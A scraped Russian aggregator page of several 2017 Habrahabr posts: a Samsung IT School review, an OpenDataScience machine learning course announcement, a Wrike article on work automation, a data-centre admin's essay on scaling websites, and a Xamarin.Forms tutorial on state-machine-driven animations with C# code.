IT ШКОЛА SAMSUNG — галопом по европам. За 1 год обучения охватывается слишком много тем (от синтаксиса языка Java, до Retrofit, SQLite, Облачных платформ), из-за чего одного только посещения занятий оказывается недостаточно. На каждую тему выделяется методичка с теорией, д/з.
Однако, чтобы полностью понять тему, необходимо самостоятельно гуглить материал и практиковаться. Я не говорю, что это плохо, совсем наоборот. Воспитывать в себе способность к самообучению — круто.

В данной школе предоставляют всё необходимое для учебы — ноутбуки, планшеты, кабеля. Удобно, если нет своих устройств.

Не знаю, как в других городах, но мне понравился преподавательский состав. 24/7 доступны для вопросов.

Занятия проходят в группах до 30 человек, имеется перерыв на чай. Хорошее решение, т.к. за урок надо усвоить большое кол-во информации и без 15-минутного отдыха мозг вскипает.

В конце года каждый ученик для получения сертификата обязан сдать свой индивидуальный проект.
Что это значит: ученик самостоятельно, или с кем-то в паре, должен разработать приложения под ОС Андроид и продемонстрировать его работоспособность. Довольно интересно, да и мотивация есть на весь год обучения.

Помимо того, среди проектов учеников проводится конкурс, который проходит в несколько этапов. Конкуренция довольно серьезная, так что работать приходится много. Победители получают приятные призы.

Курс разбит на несколько модулей. По окончанию каждого из них ученики пишут тест. На основе результатов тестов в конце года выдается сертификат.

Сертификат бывает двух типов: лиловый и золотой. Понятно, что золотой круче. Он выдается, если ученик успешно защитил свой проект и сдал все тесты выше отметки n.

Сертификат дает бонусы при поступлении в некоторые ВУЗы России (как говорят организаторы, список постоянно пополняется).

Что в итоге? Небольшой багаж знаний об яп Java, ОС Андроид и понимание об ООП.
А также, куча готовых приложений :-)
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335430/


Метки:  

[Перевод] Подборка слайдов от Джулии Эванс

Пятница, 11 Августа 2017 г. 14:27 + в цитатник
image



image

image

image

image

image

image

image

image

image

image

image

-> PDF-версия тут

Присоединяйтесь к нам!

Заглядывайте в наши группы в ВКонтакте и Фейсбук, там много интересного.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335428/


Метки:  

OpenDataScience и Mail.Ru Group проведут открытый курс по машинному обучению

Пятница, 11 Августа 2017 г. 14:02 + в цитатник

6 сентября 2017 года стартует 2 запуск открытого курса OpenDataScience по анализу данных и машинному обучению. На этот раз будут проводиться и живые лекции, площадкой выступит московский офис Mail.Ru Group.



Если коротко, то курс состоит из серии статей на Хабре (вот первая), воспроизводимых материалов (Jupyter notebooks, вот github-репозиторий курса), домашних заданий, соревнований Kaggle Inclass, тьюториалов и индивидуальных проектов по анализу данных. Здесь можно записаться на курс, а тут — вступить в сообщество OpenDataScience, где будет проходить все общение в течение курса (канал #mlcourse_open в Slack ODS). А если поподробней, то это вам под кат.


План статьи



В чем особенность курса



Цель курса — помочь быстро освежить имеющиеся у вас знания и найти темы для дальнейшего изучения. Курс вряд ли подойдет именно как первый по этой теме. Мы не ставили себе задачу создать исчерпывающий курс по анализу данных и машинному обучению, но хотели создать курс с идеальным сочетанием теории и практики. Поэтому алгоритмы объясняются достаточно подробно и с математикой, а практические навыки подкрепляются домашними заданиями, соревнованиями и индивидуальными проектами.


Большой плюс именно этого курса — активная жизнь на форуме (Slack сообщества OpenDataScience). В двух словах, OpenDataScience — это крупнейшее русскоязычное сообщество DataScientist-ов, которое делает множество классных вещей, в том числе организует Data Fest. При этом сообщество активно живет в Slack’e, где любой участник может найти ответы на свои DS-вопросы, найти единомышленников и коллег для проектов, найти работу и т.д. Для открытого курса создан отдельный канал, в котором 3-4 сотни людей, изучающих то же, что и ты, помогут в освоении новых тем.


Выбирая формат подачи материала, мы остановились на статьях на Хабре и тетрадках Jupyter. Теперь еще добавятся "живые" лекции и их видеозаписи.


На кого рассчитан курс и как к нему подготовиться


Пререквизиты: нужно знать математику (линейную алгебру, аналитическую геометрию, математический анализ, теорию вероятностей и матстатистику) на уровне 2 курса технического вуза. Нужно немного уметь программировать на языке Python.


Если вам не хватает знаний или скиллов, то в первой статье серии мы описываем, как повторить математику и освежить (либо приобрести) навыки программирования на Python.


Да, еще не помешает знание английского, а также хорошее чувство юмора.



Что в себя включает курс


Статьи


Мы сделали ставку на Хабр и подачу материала в форме статьи. Так можно в любой момент быстро и легко найти нужную часть материала. Статьи уже готовы, за сентябрь-ноябрь они будут частично обновлены, а также добавится еще одна статья про градиентный бустинг.


Список статей серии:


  1. Первичный анализ данных с Pandas
  2. Визуальный анализ данных c Python
  3. Классификация, деревья решений и метод ближайших соседей
  4. Линейные модели классификации и регрессии
  5. Композиции: бэггинг, случайный лес
  6. Построение и отбор признаков. Приложения в задачах обработки текста, изображений и геоданных
  7. Обучение без учителя: PCA, кластеризация
  8. Обучение на гигабайтах c Vowpal Wabbit
  9. Анализ временных рядов с помощью Python
  10. Градиентный бустинг

Лекции


Лекции будут проходить в московском офисе Mail.Ru Group по средам с 19.00 до 22.00, с 6 сентября по 8 ноября. На лекциях будет разбор теории в целом по тому же плану, что описан в статье. Но также будут разборы задач лекторами вживую, а последний час каждой лекции будет посвящен практике — слушатели сами будут анализировать данные (да, прямо писать код), а лекторы — помогать им в этом. Посетить лекцию смогут топ-30 участников курса по текущему рейтингу. На рейтинг будут влиять домашние задания, соревнования и проекты по анализу данных. Также будут организованы трансляции лекций.



Лекторы:


  • Юрий Кашницкий. Программист-исследователь Mail.Ru Group и старший преподаватель факультета компьютерных наук ВШЭ, а также преподаватель в годовой программе дополнительного образования по анализу данных в ВШЭ.
  • Алексей Натекин. Основатель сообщества OpenDataScience и DM Labs, Chief Data Officer в Diginetica. В прошлом — глава отдела аналитики Deloitte. Идейный лидер сообщества OpenDataScience, организатор DataFest.
  • Дмитрий Сергеев. Data Scientist в Zeptolab, лектор в Центре Математических Финансов МГУ.

Про всех авторов статей курса при желании можно прочитать здесь.


Домашние задания


Каждая из 10 тем сопровождается домашним заданием, на которое дается 1 неделя. Задание — в виде тетрадки Jupyter, в которую надо дописать код и на основе этого выбрать правильный ответ в форме Google. Домашние задания — это первое, что начнет влиять на рейтинг участников курса и, соответственно, на то, кто сможет вживую посещать лекции.


Сейчас в репозитории курса вы можете видеть 10 домашних заданий с решениями. В новом запуске курса домашние задания будут новыми.


Тьюториалы


Одно из творческих заданий в течение курса — выбрать тему из области анализа данных и машинного обучения и написать по ней тьюториал. С примерами того, как оно было, можно познакомиться тут. Опыт оказался удачным, участники курса сами написали несколько очень добротных статей по темам, которые в курсе не рассматривались.


Соревнования Kaggle Inclass



Конечно, без практики в анализе данных никуда, и именно в соревнованиях можно очень быстро что-то узнать и научиться делать. К тому же, мотивация в виде различных плюшек (денег и рейтинга в "большом" Kaggle и просто в виде рейтинга у нас в курсе) способствуют очень активному изучению новых методов и алгоритмов именно в ходе соревнования по анализу данных. В первом запуске курса предлагалось два соревнования, в которых решались очень интересные задачи:


  • Идентификация взломщика по его поведению в сети Интернет. Имелись реальные данные о посещении пользователями различных сайтов, и надо было по последовательности из посещенных за 30 минут сайтов понять, была ли это некто Элис или кто-то другой.
  • Прогноз популярности статьи на Хабре. В этом задании по тексту, времени и прочим признакам публикации на Хабре надо было предсказать популярность этой статьи — число добавлений в избранное.

Индивидуальные проекты



Из паблика Вконтакте "Мемы про машинное обучение для взрослых мужиков".


Курс рассчитан на 2.5 месяца, а активностей запланировано немало. Но обязательно рассмотрите возможность выполнить собственный проект по анализу данных, от начала до конца, по плану, предложенному преподавателями, но с собственными данными. Проекты можно обсуждать с коллегами, а по окончании курса будет устроена peer-review проверка проектов.
Подробности про проекты будут позже, а пока вы можете подумать, какие бы данные вам взять, чтобы "что-то для них прогнозировать". Но если идей не будет, не страшно, мы посоветуем какие-нибудь интересные задачи и данные для анализа, причем они могут быть разными по уровню сложности.


Как мне записаться на курс?


Для участия в курсе заполните этот опрос, а также вступите в сообщество OpenDataScience (в графе "Откуда вы узнали об OpenDataScience?" ответьте "mlcourse_open"). В основном общение в течение курса будет проходить в Slack OpenDataScience в канале #mlcourse_open.


Как прошел первый запуск курса


Первый запуск прошел с февраля по июнь 2017 года, записалось около тысячи человек, первую домашку сделали 520, а последнюю — 150 человек. Жизнь на форуме просто кипела, в соревнованиях Kaggle было сделано несколько тысяч посылок, участники курса написали с десяток тьюториалов. И, судя по отзывам, получили отличный опыт, с помощью которого дальше можно окунаться в нейронные сети, соревнования на Kaggle или в теорию машинного обучения.


Бонусом для топ-100 финалистов курса был митап в московском офисе Mail.Ru Group, на котором было 3 лекции по актуальным в современном DS темам:


  • Обработка больших данных при помощи Apache Spark (Виталий Худобахшов, "Одноклассники"). Видео: часть1, часть2;
  • Основы нейронных сетей и Deep Learning (Алексей Озерин, Reason8.ai), видео;
  • Deep Learning в решении задач сентимент анализа (Виталий Радченко, Ciklum), видео.

Бонус: совместное прохождение курса cs231n


И последнее, чем пока порадуем: с середины ноября 2017 года, сразу по окончании вводного курса по машинному обучению, там же в канале #mlcourse_open в Slack ODS будем вместе проходить один из лучших курсов по нейронным сетям — стэнфордский курс cs231n “Convolutional Neural Networks for Visual Recognition”.


Успехов вам в изучении этой прекрасной дисциплины — машинного обучения! И вот эти два товарища тут — для мотивации.



Andrew Ng берет интервью у Andrej Karpathy в рамках специализации по Deep Learning.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334960/


Метки:  

Автоматизируй это: Как формируется рынок уничтожения рутины

Пятница, 11 Августа 2017 г. 13:22 + в цитатник


Автоматизация работы — жаркая тема. Одни эксперты пугают массовыми увольнениями жертв новой промышленной революции. Другие настроены позитивно и обещают невероятный прорыв в продуктивности. Так или иначе, это набирающий обороты тренд. Компании самого разного размера и отрасли будут активно автоматизировать свои рабочие процессы с новыми и новыми решения, чтобы оптимизировать расходы и выдерживать конкуренцию.

Поле для деятельности обещают широкое: по данным McKinsey Global Institute, к потенциально автоматизируемой относится до 70% работы по сбору и обработке информации (то, чем занимаются миллионы офисных сотрудников), планированию и координации работы при управлении проектами.

image
Источник: McKinsey Global Institute


Источник: McKinsey Global Institute

Бизнесы, которые пойдут по этому пути раньше и дальше остальных, получат несколько преимуществ:

  • Уменьшение количества ошибок, связанных с человеческим фактором.
  • Возможность легко масштабировать бизнес без изменения уже выстроенных рабочих процессов и значительного расширения штата.
  • Фокус на стратегических и инновационных проектах вместо непрерывной работы с «текучкой».
  • Более гибкое планирование и возможность быстро протестировать смелые идеи c минимальными издержками.

Полная автоматизация всех процессов, предсказанная в McKinsey, займет не один год. Однако, уже сейчас можно представить, с чего все начинается. Мы в Wrike, как и другие игроки рынка решений для управления проектами, пытаемся выявить массово распространенные элементы рабочих процессов, автоматизация которых обеспечит заметную и быструю отдачу для бизнеса. Ниже мы перечислили некоторые из таких элементов, на которые мы бы сделали ставку при развитии решений, связанных с организацией рабочих процессов.

Автоматизация входящих запросов

Практически любая работа начинается с запроса: заказ клиента, ТЗ, бриф, тикет, просьба в курилке и т. д. И во многих случаях солидная часть дня тратится на то, чтобы сделать поток таких запросов управляемым: выставить приоритеты по срокам и важности, распределить задачи в команде и часто просто понять, чего от тебя хотят. Если оптимизировать работу с входящими запросами, можно высвободить огромное количество рабочего времени и заодно избавить команды от лишнего стресса.

Выходом здесь будет формализация при приеме запроса в работу. Как ни странно, унылая бюрократия иногда способна спасти нас от размытых формулировок задания и бесконечных уточнений. Мы видим это как формы запросов, интегрированные с системой управления проектами. Они позволяют сразу запросить и собрать всю необходимую информацию от заказчика до начала работы, а затем автоматически запустить новый проект по шаблону.

Командам, работающим над разными типами задач, подойдут ветвящиеся динамические формы запросов, в которых набор вопросов изменяется в зависимости от ответов, выбранных на предыдущие. Скажем, отдел маркетинга может предложить разные варианты вопросов в зависимости от того, запрашивает ли другой отдел рекламную кампанию для нового продукта или email-рассылку для пользователей.

Заполненный запрос становится триггером для создания проекта по преднастроенному шаблону. Каждый этап работы назначается подходящему исполнителю, а общий срок выполнения рассчитывается по срокам отдельных задач, указанных в шаблоне. Таким образом, можно снять работу по координации повторяющегося потока задач с руководителя, а точность планирование будет только лучше.



Такая функциональность в том или ином виде недавно появилась и у Wrike, и некоторых наших конкурентов.

Автосинхронизация между приложениями

Сбор информации, рассредоточенной по десятку сервисов и приложений, незаметно, но верно отъедает пару часов дня у каждого менеджера. Поэтому интеграция становится одним из ключевых факторов конкуренции на нашем рынке. Хорошие шансы на лидерство есть у решений, которые смогут предложить максимальное число интеграций со значимыми для пользователя приложениями.



В случае систем управления проектами это, помимо очевидных облачных файлохранилищ и офисных пакетов, будут синхронизации с основными «вертикальными» сервисами — для разработки, дизайна, ведения маркетинговых кампаний или финансовой отчетности. Цель таких интеграций сделать работу внутри отделов, прозрачной на уровне всей компании без каких-либо ручных действий. При этом высвобождается время на сбор, обновление и передачу статусов готовности задач коллегам из других отделов.

Пример таких интеграций в Wrike это двухсторонняя синхронизация с JIRA и Github, популярных у команд разработки.

Балансировка загруженности

Оптимальное распределение ресурсов команды, не говоря уж про компании целиком, — настоящий менеджерский талант, который есть у немногих. Даже лучшим из лучших трудно добиться идеального баланса, при котором каждый сотрудник не будет перегружен четырьмя важными проектами одновременно, но и не будет, зевая, коротать день у кофеварки из-за отсутствия задач. С другой стороны, это вполне типичная математическая задача, которая так и просится для делегирования искусственному интеллекту. Приятным бонусом станет исчезновение любой предвзятости при распределении задач.

Система могла бы предлагать идеального кандидата на исполнение задачи, оценивая историю прежних взаимодействий сотрудников с подобными задачами и их доступность для новых задач по графику загруженности. Если такой механизм будет включаться на каждом этапе смены статуса задачи (например, при переходе из дизайна в разработку), то работа как внутри отдела, так и между отделами станет более слаженной и менее конфликтной.

Предсказание сорванных дедлайнов

Аналитические функции, вроде шаблона отчетов в Wrike, уже сегодня позволяют быстро получать ключевые срезы данных по состоянию проектов, не создавая каждый раз отчет заново. Однако и здесь использование искусственного интеллекта в сочетании с большими данными может предложить менеджеру более полный анализ деятельности.

В частности, такая система могла бы просчитать вероятность завершения проектов в срок, основанную на сроках выполнения предшествующих проектов, выделить проекты, попадающие в зону риска, и своевременно предупредить менеджеров. Такая функциональность может кардинально повысить точность планирования и минимизировать срывы сроков.



Автоматизация этих и других элементов рабочего процесса должна очень сильно поднять средний уровень производительности сотрудников. Оптимизация рабочего времени изменит жизнь не только линейных специалистов, но и руководителей, которые будут меньше заниматься контролем и проверкой статуса задач и смогут использовать свои высокооплачиваемые часы для более творческой работы. Робот в качестве начальника отдела — это пока отдаленная перспектива, но суть работы (и требования к навыкам) лидеров команд наверняка изменится уже в ближайшие годы.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335420/


Метки:  

Эволюция сайта — взглядом Linux-админа дата-центра

Пятница, 11 Августа 2017 г. 12:55 + в цитатник
Многие розничные компании хостят сайт прямо в своей серверной. Подход удобен тем, что данные находятся дома, и, если речь о розничной сети или другом крупном бизнесе, — линки, питание и потоковый антивирус на месте. При переезде на площадку в большой дата-центр вместе со всей инфраструктурой переносится и сайт. А я — тот человек, который отвечает, чтобы всё это гладко работало. И сегодня хочу поговорить с вами о проблемах роста сайта и том, как их видит сервис-провайдер. Сразу же оговорюсь, что речь пойдет в основном о виртуальной инфраструктуре.


Glenn Jones

Веб-проект и проблемы роста


Сайт. Начало. Как правило, веб-проект, если он небольшой, имеет под собой один сервер, который отвечает за всё сразу. Иногда на нем размещается несколько сайтов.


Один сервер за всех.

На этом сервере размещаются базы данных и все приложения. Нагрузка растёт. Вот уже сервер начинает захлёбываться. Это может быть следствием конкуренции за ресурсы между базой данных и приложением. Либо сайт разросся, и одного сервера стало мало. Если используется виртуальная инфраструктура, просто разносим базы данных и приложения по разным виртуальным машинам, не вдаваясь в тонкости распределения ресурсов на уровне операционной системы.

Совсем не избежать разделения, когда наращивать процессор уже некуда, или когда база становится настолько широкой, что упирается в оперативку. Тогда клиент либо привозит своё железо (редко), либо берёт в аренду ресурсы облака (чаще).

Ещё одна возможная причина — необходимость физически разделить админов баз данных от разработчиков. Здесь пока не говорю о каком-то трехзвенном ландшафте, — это самый старт проекта, всего один или два сервера. Но и на этом этапе можно ограничить доступ к серверу баз данных для тех, кому нужны только сервера приложений.


Получается вот так, две виртуальные машины.

Растем дальше. Нагрузка продолжает расти, и мы сталкиваемся с необходимостью масштабироваться на уровне серверов приложений. Это наиболее простая в плане наращивания ресурсов часть системы — просто добавляем новых машин. Так у нас появляется второй сервер приложений. База данных занимает, как правило, мало места, поэтому пока не дублируется, а при необходимости масштабируется вертикально путём добавления оперативной памяти и ЦПУ.

На этом же этапе добавляем перед серверами приложений фронтэнд для балансировки. Сервер приложений — самое ненадёжное место в инфраструктуре, т.к. на нем внедряется новый код, который независимо от тщательности тестирования всегда самый «молодой» на проекте. Поэтому второй сервер приложения — это еще и резерв: можно уводить один из них в офлайн для накатки релизов или нагрузочных тестирований. Появляется какая-никакая, но уже отказоустойчивость.


Фронтэнд балансирует нагрузку.

Резервирование. Следующий этап, когда мы разносим все роли и резервируем все узлы. Прежде чем переходить к архитектуре типа «давайте резервировать всё», мы должны понимать, зачем мы это делаем, потому что так мы усложняем всю инфраструктуру решения, а значит добавляем дополнительные точки отказа и риски. Сначала оцениваем стоимость простоя. Во-первых, прямые убытки: заказы, которые мы не смогли провести, потому что у нас сайт не работал. Во-вторых, пользователи, которых мы потеряли из-за того, что сделав один заказ у конкурентов, они перешли к нему.

Решение может быть разнесено по географии в два разных дата-центра. Геокластер дороже, но есть такая штука, как численная оценка рисков и цены простоя каждого из узлов. Если цена даунтайма перевешивает цену решения, надо резервировать. Все интернет-магазины и прочие продавцы отлично знают цену даунтайма. Кроме того, часто e-commerce и кассы в магазине, условно, завязаны на общую ИТ-инфраструктуру, поэтому встать может всё и сразу. А вот, к примеру, банки знают не все, но интуитивно понимают, что так лучше не встревать. Вопрос в том, что кроме прямой цены есть ещё репутационные потери, которые важны банку. Я знаю несколько компаний, у которых построены модели репутационных убытков: так делать правильно :-).

Разносим функции фронтэнда. Переключение между двумя фронтэндами настраивается с помощью виртуального IP-адреса. Сделать это можно двумя способами. Первый вариант — «active-standby», когда один фронтэнд активный, а другой — пассивный. Виртуальный IP работает на одном из фронтэндов и в случае каких-то сбоев переезжает на другой. Второй вариант — «active-active». Это два виртуальных IP, которые находятся на двух серверах. Запросы параллелятся на оба сервера, и если недоступен один из них, оба виртуальных IP переезжают на второй сервер. Но в стандартном режиме мы работаем на двух IP, тем самым разносим нагрузку.

По мере того, как растет количество серверов приложений, встает несколько основных вопросов. Вопрос первый — это контроль и хранение сессий пользователя. Нужно сделать так, чтобы если по каким-то причинам сессия была перекинута на другой сервер приложения, пользователю не приходилось бы логиниться заново и возвращаться на несколько шагов назад. Первый способ решения — использование отдельного модуля для хранения сессий. Для этого хорошо подходит NoSQL база данных, где, например, хранятся данные пользовательских сессий. К ней обращаются все сервера приложений за актуальными данными. Второй способ, тоже рабочий, но не такой функциональный, — отслеживание пользовательских сессий на уровне балансировщика. В том случае сессия всегда отправляется тот сервер приложений, с которым пользователь уже начал работу. Второй вариант иногда более простой и дешевый, но это скорее костыль.

Отдельного внимания заслуживает работа с репозиториями и изменениями. И здесь снова есть два основных подхода. Первый — более рискованный, костыльный. У нас есть какой-то основной сервер, на который мы ставим все обновления, как оттестированные, так и нет. Дальше с помощью синхронизации, например, rsync'ом, переносим его на все другие сервера. Понятно, в чем риск такого подхода: любая ошибка разработчика — мы положили систему. Второй подход — хранение репозиториев. Как правило, мы работаем именно так. Для хранения репозиториев есть, например, Git и Mercurial.


Резервирование всех элементов.

Пиковые нагрузки. В этом месте при росте нагрузки на сайт, как правило, приходит понимание, что с железом (если оно ещё вдруг осталось) пора завязывать и переходить в облако на виртуальные машины. Это очень важно из-за сезонных пиков той же розницы — они могут требовать в 2-4,6 раза большей инфраструктуры, которая весь остальной год будет просто простаивать. Ну и заказчику удобно как — расти вверх по памяти и ядрам.

Надо сказать, что сезонные пики у всех разные: например, спортинвентарь и бытовую разрывают за неделю до нового года, а 29 декабря у них уже спад. С другой стороны, у доставки еды только-только начинается пик 30 декабря утром, и ещё каждый вечер пятницы и субботы, когда нормальные люди открывают техокна для разных профилактических работ. У сайта с архивом военных данных пик — на 9 мая. У туристов — летом. И так далее. Мы делали исследование по сезонной нагрузке, чтобы понять, насколько велика волна и у кого какая она есть. Как показала практика, на текущий момент для нашего объёма мощностей любая сезонная нагрузка на клиентских ресурсах — это ничтожные колебания по нагрузке виртуальных серверов. Пик по сайтам — десятые доли процента вычислительной мощности ЦОД. И это ещё без учёта резервирования на случай выхода из строя физических хостов.

Нужно еще больше. С резервированием разобрались, но сайт продолжает расти. Здесь уже масштабируем систему по горизонтали, увеличивая количество виртуальных машин там, где не хватает ресурсов. Фронтенд масштабировать обычно смысла нет — там минимум нагрузки и требуется только резервирование.

С базами данных ситуация в плане масштабирования сложнее. В случае с SQL-подобными базами данных мы поступаем следующим образом: есть одна база, для её резервирования мы собираем кластер с «плавающим» IP-адресом и ставим рядом вторую. При падении первой базы, происходит переключение на вторую, и мы продолжаем работать. Так как в веб-приложениях 90% нагрузки на БД — это селекты (запросы на чтение), можно настроить репликацию и распределить большую часть этой нагрузки на slave-серверы. На моей памяти есть проект, где таких slave-серверов 15 штук. Для целостности процесса репликации slave-серверы сконфигурированы только на чтение (read-only).


Вот примерно так.

К нам приехал сайт


Теперь поговорим о том, что происходит у нас, когда приезжает клиентский сайт. Здесь кроется самое веселье.

Начинается часто с замены операционок и web-сервера. Обычная ситуация — я вижу старые убунты и старые версии разных модулей, которые патчили последний раз года два назад. Один раз принесли даже корпоративный сайт на Федоре (напомню: тестовой площадки для RedHat). А мы отвечаем за безотказную работу, поэтому при всей моей платонической любви к Fedora Core, оставить эту ось я там просто не мог. При финансово подкреплённом SLA мы даже не узнаем, из-за чего она упала. В своих проектах предпочтение отдаем RedHat, CentOS и Unbreakable Linux (ранее дистрибутив назывался менее пафосно — Oracle Enterprise Linux). Соответственно и сертифицируются наши linux-администраторы по программе RedHat: RHCE — минимальный уровень, для допуска к продуктивному серверу.


Так выглядит SLA на сервис: общий уровень доступности не может быть выше самого слабого звена.

Многие готовы спокойно переносить почту, но не готовы заносить к нам основной сайт без длительных тестов. Интернет-магазины крупных компаний, например, переносятся последними — сначала клиент ставит пару промо-страниц или что-то ещё, не очень далеко ушедшее от static HTML, и всё тщательно обкатывает. А уже после всех тестов дает добро на переезд сайта.

Вместо заключения


Поговорим о «фантастических тварях», обитающих на сервере. Очень часто получается так, что на сайте, пережившем уже 3–5 лет продакшна, часть сервисов втыкал старый админ, часть — новый. Не всегда это делается должным образом: зачастую программы собираются из исходников, а пакетный менеджер и вовсе «поломан». Никто не проверяет выход следующих версий и, как правило, такие системы не обновляются. Кусочки иногда работают дырявыми по нескольку лет. Например, были боли с Tomcat — его собирают «как есть» и не трогают. Обычно обновлять его заставляют разработчики. Когда они получают новые функции, админа больше никто не дёргает, он забивает на апдейт продукта, и все живут на одной версии долго и счастливо. Пока не прихожу злой я и не начинаю показывать пальцем на разные дырки.

Если на сервере зоопарк, мы предлагаем план миграции: разворачиваем у себя нужную инфраструктуру, уже свежую и ровную, и перетаскиваем на нее проекты. Конкретно мы таскаем Linux с Linux'а, с Windows работает другая команда. Даём доступ к платформе — и заказчик или его разработчик начинает переносить. Иногда это поручается нам.

На новой инфраструктуре разворачиваются копия баз данных и скриптов сайта. Далее совместно с заказчиком приступаем к функциональному и нагрузочному тестированию. Со своей стороны, мы настраиваем сбор метрик производительности и контролируем логи ошибок. По результатам тестирования совместно с командой разработчика проводим донастройки (тюнинг).

Когда результаты тестов, в том числе функциональных, удовлетворительны, ошибок больше нет, мы готовим сервис к выходу в продуктив: настраиваем мониторинг,
заново синхронизируем данные с продуктивной системой и переключаем нагрузку на новую инфраструктуру. И следим, чтобы инфраструктура успевала за ростом сайта.

На сегодня всё, задавайте вопросы в комментариях.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335416/


Метки:  

Что общего между конечными автоматами, анимацией и Xamarin.Forms

Пятница, 11 Августа 2017 г. 12:51 + в цитатник
Если вы были студентом технической специальности, то наверняка помните курс, посвященный конечным автоматам. Эта простая, но очень емкая модель (конечный автомат, он же finite state machine, он же FSM) используется довольно широко, хотя и большинство программистов о ней незаслуженно забывают. Сегодня мы поговорим о конечных автоматах и их применении в создании комплексных анимаций в приложениях на Xamarin.Forms.



Анимации в Xamarin.Forms


Если вы уже используете Xamarin.Forms в реальных проектах, то наверняка сталкивались со встроенным механизмом анимаций. Если нет, то рекомендуем начать знакомство со статей «Creating Animations with Xamarin.Forms» и «Compound Animations».


Чаще всего требуется анимировать следующие свойства:


  • Scale, масштаб элемента;
  • Opacity, прозрачность;
  • Translation, дополнительное смещение по x, y, относительно полученного при компоновке положения;
  • Rotation, вращение вокруг осей x, y, z.

В Xamarin.Forms для задания обозначенных свойств используются механизмы ОС низкого уровня, что отлично сказывается на производительности — нет проблем анимировать сразу целую кучу объектов. В нашем примере мы остановимся именно на этих свойствах, но при желании вы сможете самостоятельно расширить описанные ниже механизмы.


Конечные автоматы


Если описать конечный автомат человеческим языком, то это некий объект, который может находится в различных устойчивых состояниях (например, “загрузка” или “ошибка”). Свои состояния автомат меняет под воздействием внешних событий. Количество состояний конечно. Примерами таких автоматов являются лифты и светофоры.





Если вы по какой-то причине не учились в институте на технической специальности или не изучали теорию, то рекомендуем начать знакомство с этой статьи.


Какое это все имеет отношение к анимациям и тем более к Xamarin.Forms? Давайте посмотрим.


Один экран, много состояний, есть анимации перехода


В статье «Работаем с состояниями экранов в Xamarin.Forms» мы уже описывали компонент StateContainer, упрощающий разработку сложных интерфейсов и подходящий для большинства экранов в бизнес-приложениях. Этот компонент хорошо работает, когда у нас все состояния существуют независимо друг от друга и между ними достаточно простого перехода «один исчез — второй появился».




Но что делать, если необходимо реализовать комплексный и анимированный переход из одного состояния в другое? Чтобы выезжало, вращалось и прыгало.


В качестве примера давайте рассмотрим экран ввода адреса и работы с картой, как это реализуется в большинстве навигаторов.


Представим, что у нас анимированные переходы между следующими состояниями ОДНОГО экрана:



Как видим, у нас получается такой конечный автомат:



Необходимо реализовать следующие анимации при переходе из состояния в состояние:


  • При входе в FindAddress нужно скрыть с анимацией старый контент и плавно показать новый. Плюс для пикантности будем анимировать кнопки во время появления;
  • При переходе в ShowRoute необходимо скрыть старое состояние, а снизу экрана должна выехать табличка с информацией о маршруте;
  • При переходе в Drive необходимо скрыть старое состояние и сверху должна выехать табличка с информацией о маршруте;
  • При переходе в Main (кроме первого запуска) необходимо скрыть текущее состояние и плавно отобразить кнопку, добавим к ней также небольшую анимацию изменения масштаба.




Пишем свой автомат


Мы возьмем самую простую реализацию:


  • У автомата есть фиксированный набор состояний, которые задаются при инициализации;
  • Каждое из состояний описывается набором необходимых анимаций (конечные значения properties) для элементов UI;
  • При входе в новое состояние параллельно запускаются все анимации из массива, добавленного при инициализации автомата.

Никакую историю переходов хранить не будем, также не важно по какому пользовательскому событию автомат перешел из одного состояния в другое. Есть только переход в новое состояние, который сопровождается анимациями.


Итак, простейший автомат, который мы назовем Storyboard, будет выглядеть следующим образом:

public enum AnimationType {
    Scale,
    Opacity,
    TranslationX,
    TranslationY,
    Rotation
}

public class Storyboard {
    readonly Dictionary _stateTransitions = new Dictionary();

    public void Add(object state, ViewTransition[] viewTransitions) {
        var stateStr = state?.ToString().ToUpperInvariant();
        _stateTransitions.Add(stateStr, viewTransitions);
    }

    public void Go(object newState, bool withAnimation = true) {
        var newStateStr = newState?.ToString().ToUpperInvariant();
        
        // Get all ViewTransitions 
        var viewTransitions = _stateTransitions[newStateStr];
        
        // Get transition tasks
        var tasks = viewTransitions.Select(viewTransition => viewTransition.GetTransition(withAnimation));
        
        // Run all transition tasks
        Task.WhenAll(tasks);
    }
}

public class ViewTransition {
        // Skipped. See complete sample in repository below
        
    public async Task GetTransition(bool withAnimation) {
        VisualElement targetElement;
        if( !_targetElementReference.TryGetTarget(out targetElement) )
           throw new ObjectDisposedException("Target VisualElement was disposed");
        
        if( _delay > 0 ) await Task.Delay(_delay);
        
        withAnimation &= _length > 0;
        
        switch ( _animationType ) {
            case AnimationType.Scale:
                if( withAnimation )
                   await targetElement.ScaleTo(_endValue, _length, _easing);
                else
                   targetElement.Scale = _endValue;
                break;
                
                // See complete sample in repository below
            default:
                throw new ArgumentOutOfRangeException();
        }
    }
}

В примере выше опущены проверки входных данных, полную версию можете найти в репозитории (ссылка в конце статьи).


Как видим, при переходе в новое состояние просто в параллели происходят плавные изменения необходимых свойств. Есть также возможность перейти в новое состояние без анимации.


Используем конечный автомат


Итак, автомат у нас есть и мы можем подключить его для задания необходимых состояния элементов. Пример добавления нового состояния:


_storyboard.Add(States.Drive, new[] {
   new ViewTransition(ShowRouteView, AnimationType.TranslationY, 200),
   new ViewTransition(ShowRouteView, AnimationType.Opacity, 0, 0, delay: 250),
   new ViewTransition(DriveView, AnimationType.TranslationY, 0, 300, delay: 250), // Active and visible
   new ViewTransition(DriveView, AnimationType.Opacity, 1, 0) // Active and visible
});

Как видим, для состояния Drive мы задали массив индивидуальных анимаций. ShowRouteView и DriveView — обычные View, заданные в XAML, пример ниже.


А вот для перехода в новое состояние достаточно простоы вызвать метод Go():


_storyboard.Go(States.ShowRoute);

Кода получается относительно немного и групповые анимации создаются по факту просто набором чисел. Работать наш конечный автомат может не только со страницами, но и с отдельными View, что расширяет варианты его применения. Использовать Storyboard лучше внутри кода страницы (Page), не перемешивая его с бизнес-логикой.


Также приведем пример XAML, в котором описаны все элементы пользовательского интерфейса.




Если вы решите добавить возможность смены цвета элементов с помощью анимаций, то рекомендуем познакомиться с реализацией, описанной в статье «Building Custom Animations in Xamarin.Forms».


Полный код проекта из статьи вы можете найти в нашем репозитории:
https://bitbucket.org/binwell/statemachine.


И как всегда, задавайте ваши вопросы в комментариях. До связи!


Об авторе


